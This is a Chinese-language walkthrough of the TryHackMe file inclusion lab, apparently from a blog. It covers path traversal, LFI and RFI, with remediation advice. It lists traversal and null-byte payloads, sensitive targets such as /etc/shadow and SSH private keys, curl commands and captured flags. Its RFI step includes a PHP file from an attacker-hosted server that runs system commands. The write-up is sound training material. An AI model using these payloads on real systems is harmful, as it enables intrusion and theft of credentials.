什么是文件包含?
在某些场景中,Web 应用程序被编写为通过参数请求访问给定系统上的文件,包括图像、静态文本等。参数是附加到 URL 的查询参数字符串,可用于检索数据或根据用户输入执行操作。 下图详细说明了 URL 的基本部分。
例如,参数用于 Google 搜索,其中 GET 请求将用户输入传递到搜索引擎。 https://www.google.com/search?q=TryHackMe 。如果您不熟悉该主题,可以查看 Web 工作原理 模块以了解该概念。
让我们讨论一个用户请求从网络服务器访问文件的场景。 首先,用户向网络服务器发送包含要显示的文件的HTTP请求。例如,如果用户想要在 Web 应用程序中访问并显示他们的简历,则请求可能如下所示: http://webapp.thm/get.php?file=userCV.pdf ,其中文件是参数, userCV.pdf是访问所需的文件。
默认情况下,攻击者可以利用文件包含漏洞来泄露数据,例如代码、凭据或与 Web 应用程序或操作系统相关的其他重要文件。此外,如果攻击者可以通过任何其他方式将文件写入服务器,则可能会同时使用文件包含来获得远程命令执行(RCE)。
路径遍历
Web 安全漏洞也称为 目录遍历,允许攻击者读取操作系统资源,例如运行应用程序的服务器上的本地文件。攻击者通过操纵和滥用 Web 应用程序的 URL 来定位和访问存储在应用程序根目录之外的文件或目录来利用此漏洞。
下图显示了 Web 应用程序如何在/var/www/app中存储文件。用户从定义的路径/var/www/app/CVs请求 userCV.pdf 的内容。
我们可以通过添加有效负载来测试 URL 参数,以查看 Web 应用程序的行为。路径遍历攻击,也称为点-点-斜杠攻击,利用../将目录向上移动一步。 如果攻击者找到入口点(在本例中为get.php?file= ),那么攻击者可能会发送如下内容: http://webapp.thm/get.php?file=../../.. /../etc/passwd
以下是 测试时可以使用的 一些常见操作系统文件。
/etc/issue | 包含要在登录提示之前打印的消息或系统标识 |
/etc/profile | 控制系统范围的默认变量,例如 导出变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息 |
/proc/version | 指定Linux内核的版本 |
/etc/passwd | 拥有有权访问系统的所有注册用户 |
/etc/shadow | 包含有关系统用户密码的信息 |
/root/.bash_history | 包含root用户的历史命令 |
/var/log/dmessage | 包含全局系统消息,包括系统启动期间记录的消息 |
/var/mail/root | root用户的所有电子邮件 |
/root/.ssh/id_rsa | 服务器上根用户或任何已知有效用户的 SSH 私钥 |
/var/log/apache2/access.log | Apache 网络服务器的访问请求日志 |
C:\boot.ini | 包含具有 BIOS 固件的计算机的引导选项 |
本地文件包含 ( LFI )
针对 Web 应用程序的 LFI 攻击通常是由于开发人员缺乏安全意识造成的。对于 PHP,使用include、require、include_once和require_once等函数通常会导致 Web 应用程序易受攻击。
1.假设Web应用程序提供两种语言,用户可以在 EN 和 AR之间进行选择
<?PHP include($_GET["lang"]); ?>
上面的PHP代码通过 URL 参数lang使用GET请求来包含页面的文件。 可以通过发送以下HTTP请求来完成调用,如下所示: http://webapp.thm/index.php?lang=EN.php 加载英文页面或 http://webapp.thm/index.php?lang=AR.php 加载阿拉伯语页面,其中EN.php和AR.php文件存在于同一目录中。
理论上,如果没有任何输入验证,我们可以通过上面的代码访问并显示服务器上的任何可读文件。假设我们要读取/etc/passwd文件,其中包含有关Linux操作系统用户的敏感信息,我们可以尝试以下操作: http://webapp.thm/get.php?file=/etc/passwd
在这种情况下,它可以工作,因为包含函数中没有指定目录 ,也没有输入验证。
2. 接下来,在下面的代码中,开发人员决定在函数内指定目录。
<?PHP include("languages/". $_GET['lang']); ?>
在上面的代码中,开发人员决定使用 include函数 仅通过 lang参数 调用 languages目录中的PHP 页面 。
如果没有输入验证,攻击者可以通过将 lang 输入替换为其他操作系统敏感文件(例如 /etc/passwd )来操纵 URL 。
同样,有效负载看起来与 路径遍历类似,但是 include 函数允许我们将任何调用的文件包含到当前页面中。以下是漏洞利用:
http://webapp.thm/index.php?lang=../../../../etc/passwd
实验 #2 中,include 函数中指定的目录是什么?
打开#1,是个输入参数页面
#1没有过滤,直接输入/etc/passwd
#2随便输,根据报错
Warning: include() [function.include]: Failed opening 'includes/1' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/lab2.php on line 26
判断指定目录为
includes/
1,在本节中,开发者决定过滤关键字,以避免泄露敏感信息!/etc/passwd文件正在被过滤。有两种可能的方法可以绕过过滤器。 首先,通过在过滤关键字 / 的末尾使用 NullByte %00或当前目录技巧。。 该漏洞利用类似于http://webapp.thm/index.php?lang=/etc/passwd/。我们还可以使用http://webapp.thm/index.php?lang=/etc/passwd%00 。
为了更清楚地说明这一点,如果我们在文件系统中使用 cd ..尝试这个概念, 它会让你后退一步;但是,如果您执行 cd ., 它保留在当前目录中。 类似地,如果我们尝试 /etc/passwd/.. , 结果会是 /etc/ ,这是 因为我们将其移至根目录。 现在,如果我们尝试 /etc/passwd/. , 结果将是 /etc/passwd,因为点引用当前目录。
2,接下来,在以下场景中,开发者开始通过过滤一些关键字来使用输入验证。让我们测试一下并检查错误消息!
http://webapp.thm/index.php?lang=../../../../etc/passwd
我们收到以下错误!
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
如果我们检查include(languages/etc/passwd)部分中的警告消息 ,我们知道 Web 应用程序将 ../替换 为空字符串。我们可以使用几种技术来绕过这个问题。
首先,我们可以发送以下有效负载来绕过它: ....//....//....//....//....//etc/passwd
实验 #3 尝试读取 /etc/passwd。请求是什么样的?
根据报错信息,确定前面有指定目录,结尾强行加.php
Warning: include() [function.include]: Failed opening 'includes//etc/passwd.php' for inclusion
../../../../etc/passwd%00
哪个函数导致实验 #4 中的目录遍历?
Warning: file_get_contents(1.php) [function.file-get-contents]: failed to open stream: No such file or directory in /var/www/html/lab4.php on line 29
根据报错,是file_get_contents函数
payload:?file=/etc/passwd/.
尝试实验 #6 并检查输入字段中必须包含的目录是什么?
根据报错Access Denied! Allowed files at THM-profile folder only!
目录为
THM-profile
尝试实验 #6 并阅读/etc/os-release。VERSION_ID值是什么?
payload:?file=/THM-profile/../../../../etc/os-release
远程文件包含 - RFI
远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 一样,RFI 是在不正确地清理用户输入时发生的,从而允许攻击者将外部 URL 注入包含函数中。 RFI 的一项要求是需要打开allow_url_fopen选项。
RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行 ( RCE )。成功的RFI攻击的其他后果包括:
敏感信息披露
跨站脚本(XSS)
拒绝服务 ( DoS )
外部服务器必须与应用程序服务器通信才能成功进行 RFI 攻击,攻击者在其服务器上托管恶意文件。然后通过HTTP请求将恶意文件注入到include函数中,恶意文件的内容在存在漏洞的应用服务器上执行。
射频干扰步骤
下图是成功RFI攻击的步骤示例!假设攻击者在自己的服务器上托管一个PHP文件http://attacker.thm/cmd.txt ,其中cmd.txt包含一条打印消息 Hello THM。
<?PHP echo "Hello THM"; ?>
首先,攻击者注入恶意URL,该URL指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 会传递到 include 函数。接下来,Web 应用服务器将向恶意服务器发送GET请求以获取文件。结果,Web应用程序将远程文件包含到include函数中,以执行页面内的PHP文件,并将执行内容发送给攻击者。在我们的例子中,当前页面的某处必须显示Hello THM消息。
补救措施
作为开发人员,了解 Web 应用程序漏洞、如何查找它们以及预防方法非常重要。为了防止文件包含漏洞,一些常见的建议包括:
保持系统和服务(包括 Web 应用程序框架)更新为最新版本。
关闭PHP错误以避免泄漏应用程序的路径和其他可能泄露的信息。
Web 应用程序防火墙(WAF) 是帮助减轻 Web 应用程序攻击的不错选择。
如果您的 Web 应用程序不需要某些会导致文件包含漏洞的 PHP 功能,请禁用它们,例如allow_url_fopen on 和allow_url_include。
仔细分析 Web 应用程序,仅允许需要的协议和PHP包装器。
永远不要相信用户输入,并确保针对文件包含实施正确的输入验证。
实施文件名和位置白名单以及黑名单。
LFI测试步骤
找到一个可以通过GET、POST、COOKIE或HTTP标头值的入口点!
输入有效的输入以查看 Web 服务器的行为方式。
输入无效的输入,包括特殊字符和常见文件名。
不要总是相信您在输入表单中提供的内容就是您想要的!使用浏览器地址栏或 Burpsuite 等工具。
在输入无效输入时查找错误,以公开 Web 应用程序的当前路径;如果没有错误,那么反复试验可能是您的最佳选择。
了解输入验证以及是否有任何过滤器!
尝试注入有效条目来读取敏感文件
挑战
#1:在 /etc/flag1 处捕获 Flag1
打开页面
显示表单错误需要提交post
使用url发送payload
─# curl 'http://10.10.114.199/challenges/chall1.php/' -H "Content-Type: application/x-www-form-urlencoded" -d "file=/etc/flag1" > 1.html
再访问1.html
在这个命令中,涉及以下几个关键部分:
curl: 这是一个命令行工具,用于在终端中发送和接收 HTTP 请求和响应。
URL: http://10.10.230.61/challenges/chall1.php/ 是要访问的目标网址。
-H "Content-Type: application/x-www-form-urlencoded": 这是一个 cURL 选项,用于指定发送的请求头。
-d "file=/etc/flag1": 这也是一个 cURL 选项,用于指定要发送的数据。
> 1.html: 这是一个重定向操作符,将命令执行结果输出到一个名为 1.html 的文件中。
flag1 :F1x3d-iNpu7-f0rrn
#2:在 /etc/flag2 处捕获 Flag2
需要admins用户访问
使用curl -v访问
发现一个cookie头,还有path
使用curl发送数据包并重定向到flag2.html
curl -v http://10.10.214.55/challenges/chall2.php -H "Cookie: THM=admin,path=/etc/flag2" -v > 2.html
看到个报错信息,flag2后面强制加了.php,试试在结尾加0x00
curl -v http://10.10.214.55/challenges/chall2.php -H "Cookie: THM=admin,path=/etc/flag20x00" -v > 2.html
flag2:c00k13_i5_yuMmy1
#3:在 /etc/flag3 处捕获 Flag3
浅试一下,过滤了/数字和强加.php
抓包试试
_requests提交方式,是全部都接收
可以试试post
通过hackbar提交
payload:file=/etc/flag3%00
flag3: P0st_1s_w0rk1in9
#4:使用 RFI 在Lab #Playground /playground.php中获得 RCE来执行hostname命令。输出是什么?
在攻击机上创建一个test.txt文件
内容为
<?php system('hostname') ?>
然后再当前目录执行命令开启Web 服务
python -m http.server
再通过远程文件包含访问攻击机的ip+端口+文件名
成功获取flag
flag:lfi-vm-thm-f8c5b1a78692
网友评论